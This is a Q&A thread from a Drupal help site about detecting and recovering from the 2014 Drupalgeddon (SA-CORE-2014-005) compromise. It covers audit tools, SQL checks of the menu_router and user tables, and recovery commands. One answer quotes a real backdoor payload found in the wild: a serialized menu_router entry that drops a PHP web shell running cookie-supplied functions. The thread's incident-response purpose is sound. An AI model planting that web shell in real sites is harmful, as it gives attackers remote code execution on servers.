I just updated all my sites using the patch method of resolving the Drupal SA-CORE-2014-005 exploit. I just read reports that just yesterday there is someone from a Russian IP infiltrating drupal sites.


My main concerns are now:

  • How do I tell if my sites have been comprised?
  • What should I search for in my apache access logs to detect if my site was a victim or not?
  • So far what are these hackers doing to comprised sites?
  • 7
    There's a module for that now drupal.org/project/drupalgeddon
    – mikeytown2
    Oct 20, 2014 at 17:17
  • what if i dont have aliases setup for 100 drupal sites? what are some common hacks your finding so we know what to grep for? Oct 20, 2014 at 17:21
  • 1
  • 1
    @duckx Check the code in the drupalgeddon module and you'll find those common hacks; we can't list out every possible change a malicious user can make with full access to a database, for obvious reasons. They can make any change that the Drupal mysql user has permissions to do, that's kind of the point. So literally the only way to tell for sure is to compare your current database against a known good version. If you're looking for a button to push that will reliably, 100% accurately, tell you whether or not your site has been compromised, you're dreaming I'm afraid :)
    – Clive
    Oct 21, 2014 at 11:33
  • Ducky: if you don't have aliases set up and you have 100 sites, it'll be easier to set up the aliases than to deal with them manually? Get yourself a list of site roots and URLs and you can make that into a set of aliases from there. Oct 21, 2014 at 20:22

7 Answers 7


Here are some SQL queries that can be run against your site DB's to check for users with admin privileges, and which of those have accessed the site post 15th Oct.


  • 1
    Hi and welcome to Drupal Answers. You can improve your answer by providing a small summary of the page provided.
    – Wtower
    Nov 4, 2014 at 15:23
  • Btw, it is recommended to check for users created after 15 Oct. This uses the created field from the users table. It is not guaranteed that the person that injected SQL will respect the field's value, which makes this check not quite useful. Indeed, it has occured to me that the common user injection by the name drupaldev was supposingly created 44 weeks ago. As far as the second recommendation, again it is not guaranteed that the injected user will have indeed logged in.
    – Wtower
    Nov 4, 2014 at 15:28

If you're reading this article and hoping to check a Drupal 7 site more than a month after the exploit landed, your site quite likely already got hacked. Your best bet is to restore a backup from before the attacks commenced and work from there.

There is a FAQ on SA-CORE-2014-005.

How do I tell if my sites have been compromised?

One way to quickly check if sites are compromised is with the Drupalgeddon drush command.

Install to your ~/.drush with drush dl drupalgeddon

Then use drush drupalgeddon-test to test. Drush aliases make this easy and quick.

This tool can confirm an exploited site, but it cannot guarantee your site did not get exploited. There is no "clean bill of health" here unless you upgraded before the attacks started.

Site Audit module includes some of the checks from Drupalgeddon, and gives you a lot more useful input too. I highly recommend it. (EDIT: Now they work together - super nice!)

Security Review doesn't check for Drupalgeddon attacks but is worth having in your toolbelt too.

If your site codebase was writeable to the www user , you could additionally check for modified code using the hacked module. This module may not do what you think based on its name alone :)

While there is no single certain way to identify all compromised sites, these tools can help you identify the most common indications.

What should I search for in my apache access logs to detect if my site was a victim or not?

Your access logs will contain a lot of POST requests by now. Unless you had taken the unusual step of logging all post data in advance of the bug, you're unlikely to have the information to tell which of these were malicious.

So far what are these hackers doing to compromised sites?

Many are reporting that their sites are being patched by the hackers! As an attacker, this makes good sense - you don't want your newly hijacked site whipped out from underneath you by the next attacker :)

Other than that, I'd guess the sites are being used to harvest whatever valuable data is there (maybe grab some creds, maybe lift transaction details after exploiting) and to do boring things like send spam and work as humble botnet slaves. Oh, and further expand the attacker's empire of hijacked Drupal sites. (Sorry, I don't have any hacked sites to observe.)

  • Can you clarify? Would any attack always begin with a POST request? I'm examining my logs for any POSTS. Have spotted the one from IP after I'd patched. Oct 30, 2014 at 11:18
  • I had a site that was a victim of this exploit and it seemed that the attackers used it to send tons of spam from the server. Dec 25, 2014 at 8:05

Some checks for common attacks are (this is not an exhaustive list, but are some of the attacks seen in the wild so far):

  • Check your user 1 account to make sure its user name, email address or password are what you expect them to be. Also check any other user accounts that have high levels of permissions if possible.
  • Check for new user accounts that look suspicious.
  • Check for changes to the roles on your system, for example any new roles or renamed roles.
  • Check for permission changes. The most important aspect of this is to make sure that the anonymous user role (or other roles that anyone can sign themselves up to get) haven't been changed to give them increased access.
  • Check for new custom blocks that may contain malicious code.
  • Check for new custom nodes that may contain malicious code.
  • Check for files on your file system that shouldn't be there. This is easy if you use version control because you can do git status or svn st to see if any new files are there.
  • If they have uploaded malicious files then you can check your access logs for hits to strange file names that you are unfamiliar with.
  • Check your menu router database table for malicious entries. For example (the drupalgeddon module/drush plugin on drupal.org has a good script for checking this table more thoroughly):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • You can also just browse your menu router table for strange looking entries.

Some things hackers are trying to do are:

  • Put php script files on your site that they can then run by hitting them in a browser. These scripts can do a wide range of malicious things. This is achieved through adding malicious menu router entries.
  • Create admin users accounts for them to then use to do bad things to your site or take over your site.
  • Change the user 1 email address so they can then password reset for that account and take over it.
  • Change permissions on publicly accessible user roles.
  • Add blocks/nodes/etc. that may contain malicious code. If you have the PHP filter enabled this is even more of a problem.

Unfortunately there are so many things an attacker could do to your database that it is pretty hard to give a full list of possibilities. They could do things that try to get them control of your site, or they could just break your site but dropping database tables or columns etc.

They could even just make very small changes to site configuration, like changing your site name or something like that, which is not the end of the world but is still problematic.

Basically, anything that you could do in your database by running an SQL command, an attacker could theoretically do.

All the modules mentioned in Chris Burgess's answer are very useful in checking these things.

  • 1
    You must have been hit by Typically it looks like this IP is trying to place a file in your docroot via menu_router and possibly other nasty stuff to your DB. you can read the comments at drupal.org/node/2357241.
    – scor
    Oct 17, 2014 at 4:50
  • I haven't been hit by any as far as my investigations of my sites have shown so far. This is just information to help the OP.
    – rooby
    Oct 17, 2014 at 4:54
  • how would i go about "Check your menu router database table for malicious entries:"? im on a centos server and i have root. Oct 17, 2014 at 15:36
  • You can run the database command "SELECT * FROM menu_router" and then trawl through all of them to check for rows that look out of place. There is also a more specific command mentioned in my answer that looks for one specific attack that is known and is used for uploading files to your server.
    – rooby
    Oct 20, 2014 at 9:26
  • That IP try to exploit the vulnerability of my sites within one day after the security update was released. I banned from all my sites. I was very lucky that I upgraded my sites on time. It was weird because it was hitting my sites on a alphabetic order.
    – cayerdis
    Oct 22, 2014 at 3:10

I think I would go with the advice drupal.org "You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.". As Bevan said in this comment "Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal."

Bevan also made the following workflow chart to help you analyze if you might have been infected and how to recover and prevent. However, he ask everybody to go to his original article to ensure you have the latest version of the workflow. Also, Acquia make an interesting article about the attacks and patterns that they have experienced in Acquia Cloud

 flowchart to understand if you are vulnerable, if you might have been infected and how to recover


Quote from: https://www.drupal.org/node/2357241#comment-9258955

This is an example of the file that gets inserted into the menu_router table access_callback column:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

As you can see it's trying to create the file modules/image/vzoh.php but since I have only read permissions inside those directories php fails with.

Reports of people finding similar files created doing a search in your drupal directory: https://www.drupal.org/node/2357241#comment-9260017

What i did was do the following command:

ack --type=php 'php \$form' > hacked_searched_php_form1.txt


Quoted From: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Showing files that have changed on the live server: git status

Looking for code execution attempts via menu_router: select * from menu_router where access_callback = 'file_put_contents'

Showing which files are on the live server and not in version control: diff -r docroot repo | grep docroot | grep 'Only in docroot'

Finding PHP files in the files directory: find . -path "*php"

Checking the amount of time between when a user logged into your site and their most recent page visit: select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


A very good list of commands to tell if you've been comprimised.


Commands that help with auditing:

Showing files that have changed on the live server:

git status 
Looking for code execution attempts via menu_router:

select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

find . -path "*php"
Looking for additional roles and users:

select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;

Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

truncate table sessions;
Updating passwords:

update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));
  • 1
    Instead of giving to separate answers, perhaps you should edit the first one and add the additional information? Dec 25, 2014 at 8:12

You can check whether your website has been hacked with this online tool:

Drupal Check: The EngineHack

Obviously it has it's limitations, but it's a good starting point.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.